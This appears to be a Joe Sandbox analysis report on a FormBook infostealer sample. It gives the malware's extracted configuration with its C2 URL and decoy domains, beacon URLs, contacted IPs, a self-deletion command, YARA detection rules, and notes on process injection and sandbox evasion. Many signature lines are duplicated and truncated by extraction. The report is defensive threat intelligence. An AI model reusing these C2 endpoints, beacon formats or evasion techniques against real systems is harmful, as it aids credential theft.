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Analysis Process: pMbPS8nCm1.exe PID: 3492 Parent PID: 5672
General
File Activities

File Read

Analysis Process: pMbPS8nCm1.exe PID: 5800 Parent PID: 3492
General
File Activities

File Read

Analysis Process: explorer.exe PID: 3472 Parent PID: 5800
General
File Activities

Analysis Process: raserver.exe PID: 4564 Parent PID: 3472
General
File Activities

File Created
File Read

Analysis Process: cmd.exe PID: 4396 Parent PID: 4564
General
File Activities

Analysis Process: conhost.exe PID: 2196 Parent PID: 4396
General

Disassembly
Code Analysis

Copyright Joe Security LLC 2021 Page 3 of 26



Windows Analysis Report pMbPS8nCm1.exe

Overview

General Information

Sample 
Name:

pMbPS8nCm1.exe

Analysis ID: 452687

MD5: de87f1794377537…

SHA1: 3b0480a4afe1767…

SHA256: b0a684c7dfc5a94…

Tags: exe Formbook

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often foCreates a DirectInput object (often fo……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

pMbPS8nCm1.exe (PID: 3492 cmdline: 'C:\Users\user\Desktop\pMbPS8nCm1.exe'  MD5: DE87F1794377537DDA721AFD9137E491)

pMbPS8nCm1.exe (PID: 5800 cmdline: 'C:\Users\user\Desktop\pMbPS8nCm1.exe'  MD5: DE87F1794377537DDA721AFD9137E491)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

raserver.exe (PID: 4564 cmdline: C:\Windows\SysWOW64\raserver.exe MD5: 2AADF65E395BFBD0D9B71D7279C8B5EC)

cmd.exe (PID: 4396 cmdline: /c del 'C:\Users\user\Desktop\pMbPS8nCm1.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.extinctionbrews.com/dy8g/"

  ],

  "decoy": [

    "mzyxi-rkah-y.net",

    "okinawarongnho.com",

    "qq66520.com",

    "nimbus.watch",

    "cwdelrio.com",

    "regalshopper.com",

    "avito-payment.life",

    "jorgeporcayo.com",

    "galvinsky.digital",

    "guys-only.com",

    "asmfruits-almacenes.com",

    "boatrace-life04.net",

    "cochez.club",

    "thelastvictor.net",

    "janieleconte.com",

    "ivoirepneus.com",

    "saludflv.info",

    "mydreamtv.net",

    "austinphy.com",

    "cajunseafoodstcloud.com",

    "13006608192.com",

    "clear3media.com",

    "thegrowclinic.com",

    "findfoodshop.com",

    "livegaming.store",

    "greensei.com",

    "atmaapothecary.com",

    "builtbydawn.com",

    "wthcoffee.com",

    "melodezu.com",

    "oikoschain.com",

    "matcitekids.com",

    "killrstudio.com",

    "doityourselfism.com",

    "monsoonnerd.com",

    "swissbankmusic.com",

    "envisionfordheights.com",

    "invisiongc.net",

    "aizaibali.com",

    "professioneconsulenza.net",

    "chaneabond.com",

    "theamercianhouseboat.com",

    "scuolatua.com",

    "surivaganza.com",

    "xn--vuq722jwngjre.com",

    "quiteimediato.space",

    "ecofingers.com",

    "manageoceanaccount.com",

    "cindywillardrealtor.com",

    "garimpeirastore.online",

    "tinsley.website",

    "fitnesstwentytwenty.com",

    "thenorthgoldline.com",

    "scuolacounselingroma.com",

    "iwccgroup.com",

    "wideawakemomma.com",

    "anthonysavillemiddleschool.com",

    "sprinkleresources.com",

    "ravexim3.com",

    "onedadtwodudes.com",

    "shxytl.com",

    "iriscloudvideo.com",

    "theshapecreator.com",

    "vermogenswerte.com"

  ]

}

Source Rule Description Author Strings

0000000D.00000002.508769679.0000000002FD
0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 26



0000000D.00000002.508769679.0000000002FD
0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

0000000D.00000002.508769679.0000000002FD
0000.00000040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x166c9:$sqlite3step: 68 34 1C 7B E1
0x167dc:$sqlite3step: 68 34 1C 7B E1
0x166f8:$sqlite3text: 68 38 2A 90 C5
0x1681d:$sqlite3text: 68 38 2A 90 C5
0x1670b:$sqlite3blob: 68 53 D8 7F 8C
0x16833:$sqlite3blob: 68 53 D8 7F 8C

00000001.00000002.248608890.00000000006F0000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000001.00000002.248608890.00000000006F0000.00000
040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 19 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

2.2.pMbPS8nCm1.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

2.2.pMbPS8nCm1.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

2.2.pMbPS8nCm1.exe.400000.0.raw.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x166c9:$sqlite3step: 68 34 1C 7B E1
0x167dc:$sqlite3step: 68 34 1C 7B E1
0x166f8:$sqlite3text: 68 38 2A 90 C5
0x1681d:$sqlite3text: 68 38 2A 90 C5
0x1670b:$sqlite3blob: 68 53 D8 7F 8C
0x16833:$sqlite3blob: 68 53 D8 7F 8C

2.1.pMbPS8nCm1.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

2.1.pMbPS8nCm1.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x77f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18997:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 13 entries

Unpacked PEs
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Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Machine Learning detection for sample

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

Detected unpacking (changes PE section rights)

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Copyright Joe Security LLC 2021 Page 7 of 26



Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Remote
Service
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 5 1 2

Virtualization/Sandbox
Evasion 2

Input
Capture 1

Security Software
Discovery 1 2 1

Remote
Services

Input
Capture 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Remotely
Track Device
Without
Authorization

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Process
Injection 5 1 2

LSASS
Memory

Virtualization/Sandbox
Evasion 2

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 3

Exploit SS7 to
Redirect Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorization

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Deobfuscate/Decode
Files or Information 1

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Obtain
Device
Cloud
Backups

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 3

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Software
Packing 1 1

LSA
Secrets

System Information
Discovery 1 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Behavior Graph

ID: 452687

Sample: pMbPS8nCm1.exe

Startdate: 22/07/2021

Architecture: WINDOWS

Score: 100

www.melodezu.com www.garimpeirastore.online melodezu.com

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
5 other signatures

pMbPS8nCm1.exe

        started       

Detected unpacking (changes
PE section rights)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

pMbPS8nCm1.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

cochez.club

95.215.210.10, 49734, 80

NEWIT-ASRU

Russian Federation

vermogenswerte.com

172.104.157.41, 49739, 80

LINODE-APLinodeLLCUS

United States

14 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

raserver.exe

12

        started       

www.aizaibali.com

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Behavior Graph

Copyright Joe Security LLC 2021 Page 8 of 26



Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source Detection Scanner Label Link

pMbPS8nCm1.exe 27% Virustotal Browse

pMbPS8nCm1.exe 41% ReversingLabs Win32.Trojan.Caynamer

pMbPS8nCm1.exe 100% Joe Sandbox ML

No Antivirus matches

Screenshots

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files
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https://www.virustotal.com/gui/file/b0a684c7dfc5a94e3dd2edcb1c706eae088ff9d701ec55f0adb1ae977e5e9081/detection/f-b0a684c7dfc5a94e3dd2edcb1c706eae088ff9d701ec55f0adb1ae977e5e9081-1626929702


Source Detection Scanner Label Link Download

13.2.raserver.exe.302d450.3.unpack 100% Avira TR/Patched.Ren.Gen Download File

1.2.pMbPS8nCm1.exe.5a0000.2.unpack 100% Avira TR/Patched.Ren.Gen Download File

2.1.pMbPS8nCm1.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

1.2.pMbPS8nCm1.exe.6f0000.3.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

2.2.pMbPS8nCm1.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

13.2.raserver.exe.5167960.6.unpack 100% Avira TR/Patched.Ren.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

www.cochez.club/dy8g/?
i8PHMrf=M2y08b4guDc7ky1UfP9B2E9DVQMkOM+mjhyUMO8ZT8ajlM0broLEOhQJKgG+gbTLwEQu&5j
LtOl=htxh

0% Avira URL Cloud safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.extinctionbrews.com/dy8g/?
i8PHMrf=DjnY/S7/G1yk/GGdjnbMG0pwlAlipgBY8a8MDSEvYTAaE8/8s3MkSQswoGD3PCL74z9p&5jLtO
l=htxh

0% Avira URL Cloud safe

www.thenorthgoldline.com/dy8g/?
i8PHMrf=ECrCAtcV2n6MmfvkEdEbFHcY5Y6SYRzoX56/iPQe4p5qRx/lRHZ+fK1TxUEBZfQE2R2Q&5jLt
Ol=htxh

0% Avira URL Cloud safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.cindywillardrealtor.com/dy8g/?
i8PHMrf=d70oYrFBgMb8Os9vLLnU0lHHdKTBSZLAimar8DFO2VzVjiqJdJvZleKp8o5Ll6MGkmh7&5jLtOl
=htxh

0% Avira URL Cloud safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.vermogenswerte.com/dy8g/?
i8PHMrf=vEc9l3KIwUbL2yE9akOYH6tpFpdH8sidHZA37HjQYo0aYTivi/dQORBe2IJ6crCUqb4r&5jLtOl=ht
xh

0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.extinctionbrews.com/dy8g/ 0% Avira URL Cloud safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

Unpacked PE Files

Domains

URLs
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www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.aizaibali.com/ 100% Avira URL Cloud malware

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.wideawakemomma.com/dy8g/?
i8PHMrf=n9TsU/XZirCaXaeSUYbcU/ldcwtyxBDUqcAV1OuBRveQ+2sj4hTKAs/tsBNJEPRO40QM&5jLtOl
=htxh

100% Avira URL Cloud malware

www.aizaibali.com/dy8g/?i8PHMrf=iLV9pktedYDy4Ry4OVO/uadmgyKbVGN 100% Avira URL Cloud malware

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

extinctionbrews.com 34.102.136.180 true false unknown

wideawakemomma.com 34.102.136.180 true false unknown

vermogenswerte.com 172.104.157.41 true true unknown

www.aizaibali.com 154.88.31.204 true true unknown

cochez.club 95.215.210.10 true true unknown

www.garimpeirastore.online 209.99.40.222 true true unknown

melodezu.com 64.227.87.162 true true unknown

cindywillardrealtor.com 34.102.136.180 true false unknown

825610.parkingcrew.net 75.2.81.221 true false high

www.thenorthgoldline.com unknown unknown true unknown

www.boatrace-life04.net unknown unknown true unknown

www.melodezu.com unknown unknown true unknown

www.cochez.club unknown unknown true unknown

www.cindywillardrealtor.com unknown unknown true unknown

www.wideawakemomma.com unknown unknown true unknown

www.vermogenswerte.com unknown unknown true unknown

www.livegaming.store unknown unknown true unknown

www.extinctionbrews.com unknown unknown true unknown

www.saludflv.info unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.cochez.club/dy8g/?
i8PHMrf=M2y08b4guDc7ky1UfP9B2E9DVQMkOM+mjhyUMO8ZT8ajlM0broLEOhQJKgG+gb
TLwEQu&5jLtOl=htxh

true Avira URL Cloud: safe unknown

www.extinctionbrews.com/dy8g/?
i8PHMrf=DjnY/S7/G1yk/GGdjnbMG0pwlAlipgBY8a8MDSEvYTAaE8/8s3MkSQswoGD3PCL74
z9p&5jLtOl=htxh

false Avira URL Cloud: safe unknown

www.thenorthgoldline.com/dy8g/?
i8PHMrf=ECrCAtcV2n6MmfvkEdEbFHcY5Y6SYRzoX56/iPQe4p5qRx/lRHZ+fK1TxUEBZfQE2
R2Q&5jLtOl=htxh

true Avira URL Cloud: safe unknown

www.cindywillardrealtor.com/dy8g/?
i8PHMrf=d70oYrFBgMb8Os9vLLnU0lHHdKTBSZLAimar8DFO2VzVjiqJdJvZleKp8o5Ll6MGkm
h7&5jLtOl=htxh

false Avira URL Cloud: safe unknown

www.vermogenswerte.com/dy8g/?
i8PHMrf=vEc9l3KIwUbL2yE9akOYH6tpFpdH8sidHZA37HjQYo0aYTivi/dQORBe2IJ6crCUqb4r
&5jLtOl=htxh

true Avira URL Cloud: safe unknown

www.extinctionbrews.com/dy8g/ true Avira URL Cloud: safe low

Domains and IPs

Contacted Domains

Contacted URLs
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 452687

Start date: 22.07.2021

Start time: 18:03:21

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 53s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: pMbPS8nCm1.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

23

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@7/0@13/5

EGA Information: Failed

HDC Information: Successful, ratio: 29.3% (good quality ratio 25.4%)
Quality average: 71.1%
Quality standard deviation: 33.7%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

www.wideawakemomma.com/dy8g/?
i8PHMrf=n9TsU/XZirCaXaeSUYbcU/ldcwtyxBDUqcAV1OuBRveQ+2sj4hTKAs/tsBNJEPRO40
QM&5jLtOl=htxh

false Avira URL Cloud: malware unknown

Name Malicious Antivirus Detection Reputation

IP Domain Country Flag ASN ASN Name Malicious

95.215.210.10 cochez.club Russian Federation 49055 NEWIT-ASRU true

172.104.157.41 vermogenswerte.com United States 63949 LINODE-APLinodeLLCUS true

34.102.136.180 extinctionbrews.com United States 15169 GOOGLEUS false

